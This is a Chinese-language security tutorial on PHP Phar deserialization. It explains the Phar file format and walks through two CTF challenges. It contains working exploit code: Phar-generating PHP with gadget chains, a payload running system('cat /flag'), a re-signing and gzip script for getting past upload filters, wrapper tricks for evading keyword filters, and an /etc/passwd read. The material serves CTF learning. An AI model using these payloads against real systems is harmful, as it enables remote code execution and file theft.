PHP Phar反序列化浅学习

quan9i 2022-09-14 06:52:00

前言

Phar反序列化是PHP反序列化的一个重要部分,进行相关学习后,简单总结如下,希望对正在学习的师傅有所帮助。

了解Phar

Phar含义

可以认为Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。

默认开启版本 PHP version >= 5.3

Phar文件结构

Phar文件结构可大致分为四个部分,官方文档介绍如下图
在这里插入图片描述
简单来说就是

1、Stub//Phar文件头
2、manifest//压缩文件信息
3、contents//压缩文件内容
4、signature//签名

具体如下

Stub

Stub是Phar的文件标识,也可以理解为它就是Phar的文件头
这个Stub其实就是一个简单的PHP文件,它的格式具有一定的要求,具体如下

xxx<?php xxx; __HALT_COMPILER();?>

这行代码的含义,也就是说前面的内容是不限制的,但在该PHP语句中,必须有__HALT_COMPILER(),没有这个,PHP就无法识别出它是Phar文件。
这个其实就类似于图片文件头,比如gif文件没有GIF89A文件头就无法正确的解析图片

manifest

a manifest describing the contents,用于存放文件的属性、权限等信息。
这里也是反序列化的攻击点,因为这里以序列化的形式存储了用户自定义的Meta-data
在这里插入图片描述

contents

the file contents,这里用于存放Phar文件的内容

signature

[optional] a signature for verifying Phar integrity (phar file format only),签名(可选参数),位于文件末尾,具体格式如下
在这里插入图片描述
从官方文档中不难看出,签证尾部的01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密
简单的举个栗子
用010editor打开Phar文件
在这里插入图片描述
当我们修改文件的内容时,签名就会变得无效,这个时候需要更换一个新的签名
更换签名的脚本

from hashlib import sha1
with open('test.phar', 'rb') as file:
    f = file.read() 
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
    file.write(newf) # 写入新文件

反序列化

成因

Phar之所以能反序列化,是因为Phar文件会以序列化的形式存储用户自定义的meta-data,PHP使用phar_parse_metadata在解析meta数据时,会调用php_var_unserialize进行反序列化操作。具体解析代码

int phar_parse_metadata(char **buffer, zval *metadata, uint32_t zip_metadata_len){

    php_unserialize_data_t var_hash;
    if (zip_metadata_len) {
        const unsigned char *p;
        unsigned char *p_buff = (unsigned char *)estrndup(*buffer, zip_metadata_len);
        p = p_buff;
        ZVAL_NULL(metadata);
        PHP_VAR_UNSERIALIZE_INIT(var_hash);

        if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {
            efree(p_buff);
            PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
            zval_ptr_dtor(metadata);
            ZVAL_UNDEF(metadata);
            return FAILURE;
        }
        efree(p_buff);
        PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
    }
}

demo

生成Phar文件

需要去检查一下php.ini中的phar.readonly选项,如果是On,需要修改为Off。

Phar文件生成的话,可以用如下代码生成

<?php 
class test{
    public $name="qwq";
    function __destruct()
    {
        echo $this->name . " is a web vegetable dog ";
    }
}
$a = new test();
$a->name="quan9i";
$tttang=new phar('tttang.phar',0);//后缀名必须为phar
$tttang->startBuffering();//开始缓冲 Phar 写操作
$tttang->setMetadata($a);//自定义的meta-data存入manifest
$tttang->setStub("<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$tttang->addFromString("test.txt","test");//添加要压缩的文件
$tttang->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>

在这里插入图片描述
该如何触发反序列化呢,一般是配合Phar,此时可以不借助unserialize()直接进行反序列化操作。Phar属于伪协议,伪协议使用较多的是一些文件操作函数,如fopen()copy()file_exists()等,具体如下图在这里插入图片描述
(图片引用于https://www.freebuf.com/articles/web/305292.html)

反序列化

前面在描述反序列化成因时提到过,是因为解析Phar文件时对Meta进行了反序列化,接下来本地测试一下,测试是否能成功触发。

测试代码

<?php
class test{
    public $name="";
    public function __destruct()
    {
        eval($this->name);
    }
}
$tttang = file_get_contents('phar://tttang.phar/test.txt');
echo $tttang;

在这里插入图片描述
test是之前写入test.txt的内容,quan9i是之前在Phar文件中设置的name

条件

利用条件有以下几个

1、phar文件能够上传至服务器 
//即要求存在file_get_contents()、fopen()这种函数

2、要有可利用的魔术方法
//这个的话用一位大师傅的话说就是利用魔术方法作为"跳板"

3、文件操作函数的参数可控,且:/、phar等特殊字符没有被过滤
//一般利用姿势是上传Phar文件后通过伪协议Phar来实现反序列化,伪协议Phar格式是`Phar://`这种,如果这几个特殊字符被过滤就无法实现反序列化

绕过方式

存在漏洞,就会存在防护,通常针对Phar反序列化也是有防范的。这里简单的总结一下常见的绕过方式。

更改文件格式

我们利用Phar反序列化的第一步就是需要上传Phar文件到服务器,而如果服务端存在防护,比如这种

$_FILES["file"]["type"]=="image/gif"

要求文件格式只能为gif,这个时候我们该怎么办呢?
这个时候我们需要朝花夕拾,重提一下PHP识别Phar文件的方式。PHP通过Stub里的__HALT_COMPILER();来识别这个文件是Phar文件,对于其他是无限制的,这个时候也就意味着我们即使对文件后缀和文件名进行更改,其实质仍然是Phar文件。
示例代码

<?php
    class Test {
        public $name;
        function __construct(){
            echo "I am".$this->name.".";
        }
    }
    $obj = new Test();
    $obj -> name = "quan9i";
    $phar = new Phar('test.phar');
    $phar -> startBuffering(); //开始缓冲 Phar 写操作
    $phar -> setStub('GIF89a<?php __HALT_COMPILER();?>'); //设置stub,添加gif文件头
    $phar ->addFromString('test.txt','test'); //要压缩的文件
    $phar -> setMetadata($obj);  //将自定义meta-data存入manifest
    $phar -> stopBuffering(); ////停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>

在浏览器上访问此文件生成test.phar文件,用010editor查看
在这里插入图片描述
随便找一个分析文件格式的
在这里插入图片描述
变成Gif格式,这种上传一般可以绕过大多数上传检测。

绕过Phar关键字检测

Phar反序列化中,我们一般思路是上传Phar文件后,通过给参数赋值为Phar://xxx来实现反序列化,而一些防护可能会采取禁止参数开头为Phar等关键字的方式来防止Phar反序列化,示例代码如下

if (preg_match("/^php|^file|^phar|^dict|^zip/i",$filename){
    die();
}

绕过的话,我们的办法是使用各种协议来进行绕过,具体如下

1、php://filter/read=convert.base64-encode/resource=phar://test.phar
//即使用filter伪协议来进行绕过
2、compress.bzip2://phar:///test.phar/test.txt
//使用bzip2协议来进行绕过
3、compress.zlib://phar:///home/sx/test.phar/test.txt
//使用zlib协议进行绕过

绕过__HALT_COMPILER检测

我们在前文初识Phar时就提到过,PHP通过__HALT_COMPILER来识别Phar文件,那么出于安全考虑,即为了防止Phar反序列化的出现,可能就会对这个进行过滤,示例代码如下

if (preg_match("/HALT_COMPILER/i",$Phar){
    die();
}

这里的话绕过思路有两个
1、将Phar文件的内容写到压缩包注释中,压缩为zip文件,示例代码如下

<?php
$a = serialize($a);
$zip = new ZipArchive();
$res = $zip->open('phar.zip',ZipArchive::CREATE); 
$zip->addFromString('flag.txt', 'flag is here');
$zip->setArchiveComment($a);
$zip->close();    
?>

2、将生成的Phar文件进行gzip压缩,压缩命令如下

gzip test.phar

效果如下
在这里插入图片描述
压缩后同样也可以进行反序列化

实战

[CISCN2019 华北赛区 Day1 Web1]Dropbox

打开靶场
在这里插入图片描述
发现是个登录界面,可以进行注册,随便注册一下登录在这里插入图片描述
登录后发现仅存在一个文件上传
抓下包,尝试上传文件
在这里插入图片描述
发现有过滤,这里尝试用修改Content-Type来实现绕过
在这里插入图片描述
成功上传,查看网页界面
在这里插入图片描述
发现只存在下载和删除两个功能,抓一下下载的包
在这里插入图片描述
这个参数感觉有点东西,尝试读取一下其他文件

filename=/etc/passwd

在这里插入图片描述
此时想的是直接读取Flag文件,但尝试读取Flag文件后无果(未找到flag.php文件),只能从其他方面着手,这里我们发现存在下载和删除功能,盲猜有download.phpdelete.php文件

filename=../../download.php
filename=../../delete.php

在这里插入图片描述

# download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>
# delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

发现这两个文件都包含了class.php,因此我们再查看一下class.php文件

//原文过程,这里缩减了很多,只截取了用到的部分
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);
    }
    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }
    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

这里的话我们注意到class.php中File类的close()方法,它里面用到了file_get_contents,题目描述了是Phar,那这里大概率是一个突破口,那此时我们就去尝试寻找,谁可以调用这个close方法,最终在User类中的__destruct方法中发现 $this->db->close();,这里调用了close方法,但我们需要用的这个close方法是在File类中的,这个时候该怎么办呢,我们在Filelist类中发现有一个__call方法,_call方法是当访问不可访问的方法时触发,这个时候如果我们传入file,它就会由于Filelist中没有close类而调用_call方法,此时就会调用File类里的_call方法,然后将结果存到results[$file->name()][$func]中,当Filetest销毁时,触发__destruct,此时结果也被打印出来,也就将其中的内容打印了出来
这个是逆推的,那么正推的话也就相对来说更简单了

1、创建User对象->指向Filetest
2、调用Filetest类->让它指向File类,因为没有close方法,所以调用__call方法,然后转向File类执行close方法
3、成功调用File类中的close方法,将结果存到results[$file->name()][$func]
4、Filetest类销毁时触发__destruct魔术方法,输出results中的内容

EXP如下

<?php
class User {
  public $db;
  public function __construct() {
       $this->db = "new Filelist()";
   }
}
class FileList{
  private $files;
  public function __construct(){
    $this -> files = array(new File());
  } 
}
class File {
    public $filename = '/flag.txt';
}
$a = new User();
$phar = new Phar('quan9i.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a);
$phar->stopBuffering();
?>

抓文件上传的包,修改Content-typeimage/png,此时再发包
在这里插入图片描述
成功上传,接下来去抓删除文件的包,使用phar伪协议来触发反序列化
在这里插入图片描述
成功获取Flag

[NSSRound#4 SWPU]1zweb

题目环境https://www.ctfer.vip/problem/2484

在这里插入图片描述
进入靶场,发现有个查询文件和上传文件界面,尝试任意文件读取

upload.php

在这里插入图片描述

#upload.php
<?php
if ($_FILES["file"]["error"] > 0){
    echo "上传异常";
}
else{
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
        $content=file_get_contents($_FILES["file"]["tmp_name"]);
        $pos = strpos($content, "__HALT_COMPILER();");
        if(gettype($pos)==="integer"){
            echo "ltj一眼就发现了phar";
        }else{
            if (file_exists("./upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " 文件已经存在";
            }else{
                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
                fwrite($myfile, $content);
                fclose($myfile);
                echo "上传成功 ./upload/".$_FILES["file"]["name"];
            }
        }
    }else{
        echo "dky不喜欢这个文件 .".$extension;
    }
}

分析一下这个上传文件

1、限制文件后缀,只能为gif、jpeg、jpg、png
2、检测了文件内容,意味着不能出现__HALT_COMPILER();

对于限制文件后缀,我们这里更改文件后缀即可,对于第二个,前文在简述绕过方法时也提到过,这种情况可以将Phar文件进行gzip压缩,从而实现绕过。

接下来查看一下index.php

#index.php
<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="ljt";
        $this->dky="dky";
        phpinfo();
    }
    public function __destruct(){
        if($this->ljt==="Misc"&&$this->dky==="Re")
            eval($this->cmd);
    }
    public function __wakeup(){
        $this->ljt="Re";
        $this->dky="Misc";
    }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
    echo file_get_contents($file);
}

这里的话不难看出利用点是__destruct中的eval函数,而这里要求$this->ljt==="Misc"&&$this->dky==="Re",也就是说

__wakeup()函数不能执行,否则就达不到要求,即我们需要绕过__wakeup()

我们知道属性大于实际个数可以绕过__wakeup函数,那么我们这里就可以采取这种方式来进行绕过。
构造Phar文件

<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="Misc";
        $this->dky="Re";
        $this->cmd="system('cat /flag');";
    }
}
$phar = new Phar('quan9i.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$a = new LoveNss();
$phar->setMetadata($a);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

此时Phar文件生成了,接下来就需要绕过了,这里还需要说明一下,就是当我们更改Phar文件的内容时,签名此时就会变无效,因此这里我们需要再构造一个新的签名。
步骤总的来说就是以下四步

1、更改属性值来绕过__wakeup函数
2、更改签名
2、进行gzip压缩来绕过关键字检测
4、更改文件后缀

我们可以利用一个简单的脚本来实现一下

import gzip
from hashlib import sha1
with open('D:\\phpStudy\\PHPTutorial\\WWW\html\\quan9i.phar', 'rb') as file:
    f = file.read() 
s = f[:-28] # 获取要签名的数据
s = s.replace(b'3:{', b'4:{')#更换属性值,绕过__wakeup
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
#print(newf)
newf = gzip.compress(newf) #对Phar文件进行gzip压缩
with open('D:\\phpStudy\\PHPTutorial\\WWW\\html\\newquanqi.png', 'wb') as file:#更改文件后缀
    file.write(newf) 

接下来上传文件
在这里插入图片描述
通过Phar伪协议即可获取到Flag
在这里插入图片描述

Phar扩展

MySQL Phar 反序列化

LOAD DATA LOCAL INFILE会触发php_stream_open_wrapper,当我们将它放置到Phar文件中的时候,也会触发反序列化
先来简述一下LOAD DATA LOCAL INFILE,它是通过文件批量向表中插入内容的,常用语句如下

LOAD DATA LOCAL INFILE '1.txt' into table user;

可能语言描述有点抽象,这里用Navicat演示一下其作用
在这里插入图片描述
在这里插入图片描述
这个是语句的正常用法
而当这个文件是经过Phar协议的Phar文件时,此时调用会出现warning,LOAD DATA LOCAL INFILE forbidden
这个是因为我们需要手动修改一下my.ini下的一些配置,也就是说这个是调用的前提,具体如下

local-infile=1
secure_file_priv=""

在这里插入图片描述

demo

生成Phar文件

#q.php
<?php
class TestObject{
    public $data;
    function __destruct(){
    }
}
$phar = new Phar('quan9i.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$a = new TestObject();
$a->data="test";
$phar->setMetadata($a);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

访问q.php后生成quan9i.phar文件,接下来利用语句来调用Phar文件

#1.php
<?php
class TestObject{
    public $data;
function __destruct(){
echo $this->data;
    }
}

$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'test', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://quan9i.phar/test.txt\' INTO TABLE test');
?>

在这里插入图片描述
可以发现此时不仅写入了,而且也成功触发反序列化了

这里的话有相对应的例题,即N1CTF2019 sql_manage,这道题的话Wp和涉及知识点可以参考以下几个文章
https://github.com/Nu1LCTF/n1ctf-2019/tree/master/WEB/sql_manage
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
https://xz.aliyun.com/t/6699#toc-1

参考文献

https://paper.seebug.org/680/
https://guokeya.github.io/post/uxwHLckwx/
http://www.gofervor.com
https://www.freebuf.com/articles/web/305292.html
https://pankas.top/2022/08/04/php(phar)
https://xz.aliyun.com/t/2715
https://xz.aliyun.com/t/6699#toc-4
https://www.freebuf.com/articles/web/291992.html
https://blog.csdn.net/weixin_39843986/article/details/113306355
https://www.cnblogs.com/BOHB-yunying/p/11504051.html
https://xz.aliyun.com/t/2958#toc-0

评论

quan9i

一个什么也不会的fw

twitter weibo github wechat

随机分类

运维安全 文章:62 篇
神器分享 文章:71 篇
iOS安全 文章:36 篇
软件安全 文章:17 篇
APT 文章:6 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录